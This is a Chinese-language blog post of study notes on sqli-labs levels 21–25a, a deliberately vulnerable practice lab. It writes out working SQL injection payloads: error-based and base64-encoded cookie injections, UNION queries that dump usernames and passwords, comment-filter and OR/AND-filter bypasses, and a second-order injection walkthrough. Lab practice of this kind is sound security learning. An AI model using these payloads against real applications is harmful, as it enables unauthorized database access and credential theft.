sql-labs 闯关 21~25

友善爱国法治诚信富强友善公正爱国和谐友善爱国爱国友善自由民主爱国友善公正

复习笔记1


内容:

  1. sql-labs第21关(Cookie注入-base64编码-单引号和括号)
  2. sql-labs第22关(Cookie注入-base64编码-双引号)
  3. sql-labs第23关(GET请求-基于错误-过滤注释)
  4. sql-labs第24关(POST请求-二次注入*真实处理-储存注入)
  5. sql-labs第25关(GET请求-基于错误-过滤OR&AND-字符单引号)
  6. sql-labs第25a关(GET请求-基于盲注-过滤OR&AND-基于数值型)

1. sql-labs第21关


这关还是post请求

随便输入,登录失败,那试试输入正确的账号密码,看看结果会不会不一样

输入dumb之后,页面反馈的就不一样了,不过cookie那的uname值看着好奇怪,可能被加密了,不过我对这方面的了解不深,看着不像是Unicode和ASCII编码,暂时先不管,先抓包改cookie值看看能不能绕过


没绕过去,只能去找找加密方式,再去试试用加密方式输入,用bugku在线工具成功找出,这关的加密方式是base 64


dumb'加密后再输入,页面出现报错信息了,从信息上看闭合点是’)

闭合点确定是’),那我可以快乐的开始报错注入了
没加密前的语句是:

dumb') and updatexml(1,concat(0x7e,database(),0x7e),1)#

加密后的语句是:

ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIw==


爆库
没加密前的语句是:

dumb') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

加密后的语句是:

ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpLDB4N2UpLDEpIw==


爆表
没加密前的语句是:

dumb') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#

加密后的语句是:

ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBhbmQgdGFibGVfbmFtZT0ndXNlcnMnKSwweDdlKSwxKSM=


爆字段
没加密前的语句是:

dumb') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#

加密后的语句是:

ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSkgZnJvbSB1c2VycyksMHg3ZSksMSkj


爆数据


2. sql-labs第22关

欢迎界面跟上关没什么差别,输入dumb,查看

又是cookie那块的uname用base64编码了


用双引号判断法尝试,出现报错信息,且闭合点是"

100%确定闭合点就是"
没加密前:

dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#

加密后:

ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==


爆库
没加密前:

dumb" and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e))#

加密后:

ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwweDdlKSkj


爆表
没加密前:

dumb" and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x7e))#

加密后:

ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKWZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyksMHg3ZSkpIw==


爆字段
没加密前:

dumb" and extractvalue(1,concat(0x7e,(select group_concat(username)from users),0x7e))#

加密后:

ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKWZyb20gdXNlcnMpLDB4N2UpKSM=


爆数据


3. sql-labs第23关

这关又回到了我喜欢的get请求,我的harkbar插件终于有用武之地了

输入?id=1查看页面

输入?id=1 and 1=2查看页面,如果不同那么就说明这是数值型的

输入?id=1'页面不仅报错了,说明很可能是单引号闭合,还有mysqli_fetch_array()函数警告,看完mysqli_fetch_array()函数描述,我还是不知道哪出问题了,先去看看源代码

那从源代码来看,不能用注释来绕过了,然后这时候百度的作用就来了,有两种解决办法,一种是用and或or语句进行闭合,还有一种是用一种特殊的注释符,针对于sql-labs特殊使用的注释符;%00

sqli-labs靶场第二十三关
第二十三关(Less-23):

1.用and或or语句进行闭合


按照大佬的博客提示来输入?id=1' and '1'='2,页面不一样了,可能这个方法可行

判断列数时输入?id=1' order by 1000 and '1'='2,出现了不管我输入多少,页面显示的都是成功的问题,没整明白啥原因,不过总有大佬能告诉我答案,总的来说就是MySQL的执行顺序搞的鬼,为了快速查看,我截图贴上,完整版请点击下方链接,建议点击学习~

Sqli-Labs:Less 23


那接下来就在2的位置开始完成这关的任务

?id=-1' union select 1,database(),3 and '1'='1


爆库

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 and '1'='1


爆表

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 and '1'='1


爆字段

?id=-1' union select 1,(select group_concat(username) from users ),3 and '1'='1


爆数据

2.用特殊使用的注释符;%00进行闭合


按照大佬的博客提示来输入?id=1' ;%00,页面没有显示报错了,这个方法可行性较高哦


判断列数

输入?id=-1' union select 1,2,3 ;%00查看回显位

输入?id=-1' union select 1,version(),database() ;%00爆库

?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() ;%00


爆表

?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users';%00


爆字段

?id=-1' union select 1,group_concat(username),group_concat(password)from users ;%00


爆数据
这个特殊注释符我还是第一次看到,学到了学到了


4. sql-labs第24关


这关界面第一次见,在文本框内输入的错误的账号密码

输入正确的账号慢慢,页面显示这样的

再试试下面两个链接

这个改密码给的建议还真是秒哇,杜绝了用户在改密码的注入

这个注册链接居然还会给机会,随便输入了1,看样子好像注册成功了,去看看数据库


那就用单引号或双引号来尝试闭合

但是不管我是用单引号判断法还是双引号判断法都不能出现报错信息

我又想起第二关还是第三关注入点是数值型的,这关可能也这样,然后输入了1 and 1=2,又成功注册了,我只能寄希望于抓包了

第一个页面已经探索完了,现在去第二个页面探索一下

又成功的改了密码
我不会了,我去看看源代码到底是什么东西,这么难。我是没想到,这关有8个源文件,通过前期的摸索再加上粗略查看后,pass_change.php文件的代码比其他的都重要,经过长达半小时的找不同,还是发现了一点端倪

首先username变量是从SESSION那里获取的值,没有跟curr_pass、pass、re_pass一样被转义,其次这个变量直接用更新语句里头了没有做任何转义过滤等操作,那么把这搞定有很大的可能就结束了。不过,我搞不定,需要召唤大佬登场了。写的好详细,我还搁这自己分析老半天

SQLi-Labs less 24
Sqli-labs之Less-24(二次注入)
Sqli-Labs:Less 24*


照着打,把密码改成123,再去看数据库数据改变情况

这关成功的方式也跟以往不同,不用再爆数据库名了


5. sql-labs第25关


这关的欢迎界面又变了,这段英语大概是说or和and都被过滤了,那是时候试试sql注入绕过方法了,百度也有一些别的方式

web安全之SQL注入绕过技术
黑客常用SQL注入绕过技术总结!


先判断闭合点,输入?id=1',报错了

输入?id=1'--+似乎成功闭合

接下来就先试试这四种绕过方式了,百度上的以后再试吧

用大小写绕过注入尝试,输入?id=1' Order by 3--+,结果很明显,失败了

用双写绕过注入尝试,输入?id=1' oorrder by 3--+,成功绕过。再继续试试

用编码绕过注入尝试,使用在线编码,输入or再点击hex编码,得到结果为%6f%72,再次编码,得到结果为%25%36%66%25%37%32,最后在url处输入?id=1' %25%36%66%25%37%32der by 3 --+,查看结果,发现失败了

用内联注释绕过注入尝试,输入?id=1' /*!or*/der by 3 --+,失败

如果我没用错方式的话,这关只有双写可以绕过,输入?id=-1' union select 1,2,3 --+确定回显位,接下来就开始爆数据了

输入?id=-1' union select 1,database(),version() --+爆库

?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+


爆表

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+


爆字段

?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users--+


爆数据


6. sql-labs第25a关


欢迎界面跟上关差不多,字体颜色变了而已,正常输入?id=1

输入?id=1 aandnd 1=2,页面改变了,那就说明这关的类型是数值型,省了试闭合点,真好

用反斜杠判断法,查看闭合点,发现这关隐藏了报错信息。(如果没有按照注入步骤来的话,我可能会在这里卡很久,才能反应过来,这关的类型是数值型。在这感谢杨晔老师总结的步骤,让我少走弯路)

早就知道是3列了,跳过这一步,直接输入?id=-1 union select 1,2,3 --+,看回显位

输入?id=-1 union select 1,database(),version() --+爆库

?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+


爆表

?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+


爆字段

?id=-1 union select 1,group_concat(username),group_concat(passwoorrd) from users--+


爆数据

sql-labs 闯关 21~25相关推荐

  1. SQL注入闯关第二关---第四关

    目录 第二关Less-2:GET - Error based - Intiger based 1.判断注入点类型 2.使用order by猜测字段数,根据第一关,字段数为3: 3.联合查询获取显示位置 ...

  2. SQL注入闯关第一关-Less1

    目录 一.判断注入点类型 1.单引号测试 2.进行验证: 二.确定字段数 三.使用联合查询,确定显示位置 四.确定显示位置后,查询库名 五.查询表名 六.查询列名 七.查询用户名和密码 一.判断注入点 ...

  3. sqli-labs闯关记录(1~65关)

    sql漏洞闯关记录笔记(1~15) 1.基本知识 首先我们先了解SQL注入是什么: SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一,其实就是恶意用户通过在可提交 ...

  4. 安全测试环境搭建及闯关提升过程

    一.OWASP果汁店介绍 OWASP果汁店是OWASP组织提供的官方提升安全技术的示例网站: 源码:https://github.com/bkimminich/juice-shop#docker-co ...

  5. 【北交所周报】中字头概念股爆发,中纺标大涨21%;舜宇精工、佳合科技等4家企业IPO闯关成功;...

     关注ITValue,看企业级最新鲜.最价值报道! 北交所一周动态速览:市场行情方面,北证50指数上线一周,表现稳健,最高涨幅3.04%,收涨1.47%.市值排名前十的个股股价多数实现上涨,诺思兰德涨 ...

  6. 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...

  7. 计算机游戏88关,天天象棋88关怎么过 闯关模式第88关图文攻略

    天天象棋88关怎么过?闯关模式第88关图文攻略.天天象棋闯关模式第88关怎么过?天天象棋是一款上线的全新休闲类手游,这是一款玩家对战的象棋游戏,对于广大棋类游戏爱好者来说,绝对是很值得玩一玩的,游戏的 ...

  8. sqlmap使用_sqlmap于sql labs下使用

    本文主要是写sqlmap在sql labs下的使用学习记录,目的在于模拟黑盒测试,不太在意原理.(当然,原理还是要学习好才这么干的.) 不得不说收获还是蛮大的.首先推荐下sqlmap使用的学习视频. ...

  9. Python 闯关之路一(语法基础)

    原文:https://www.cnblogs.com/wj-1314/p/8403977.html python 闯关之路一(语法基础) 1,什么是编程?为什么要编程? 答:编程是个动词,编程就等于写 ...

最新文章

  1. react非常适合入门者学习使用的后台管理框架
  2. [云炬创业管理笔记]第九章为创业成败而准备测试2
  3. Java 虚拟机对锁优化所做的努力
  4. centos php支持yaf,CentOS环境下给PHP7.0安装yaf扩展
  5. metasploitable3渗透测试
  6. IDEA——必备插件指南
  7. 苹果开发者修改团队名称_鼓励您的团队对项目进行更改的5步计划
  8. 一般纳米材料是指尺度为_纳米是什么米?什么是纳米材料?(1)
  9. spring FileCopyUtils类 上传图片
  10. Oracle程序开发小技巧(一)
  11. Airbnb 面试题汇总
  12. Report Builder:SRW包
  13. SmtpJS 几行代码实现javascript发送邮件(记录)
  14. c语言编程实现合取析取,C++实现离散数学求主合取范式和主析取范式
  15. mysql批量导出导入数据
  16. 数据库基础技巧及用法
  17. lettcode算法题目--玛祖游戏
  18. 第二章 计算机系统和计算机组成原理
  19. 机器人大冒险(能否到达终点)
  20. 输入苹果的单价和购买的数量,计算总价,分别显示总价的整数部分和四舍五入后的整数部分

热门文章

  1. Microsoft office 2013官方正版免费完整版腾讯网盘下载
  2. 网络营销的本质和核心是什么?
  3. 国内旅游社区网站推荐
  4. 【Spark Streaming】(二)DStream 编码实战
  5. 电子邮件之SMTP协议详解
  6. java 给qq邮箱发邮件_用java写一个给自己QQ邮箱发一封电子邮件的程序
  7. 营销管理手册_营销管理学院新生入学讲座系列第四讲——学习红绿灯之学习学生手册...
  8. INSPIRED技术产品经理的天启(第二版)-【英文书】阅读笔记NO.2
  9. 每天有数百人搜索 App 破解,开发者该怎么保护自己的手机应用呢?
  10. (优雅的使用)matlab脚本编程习题3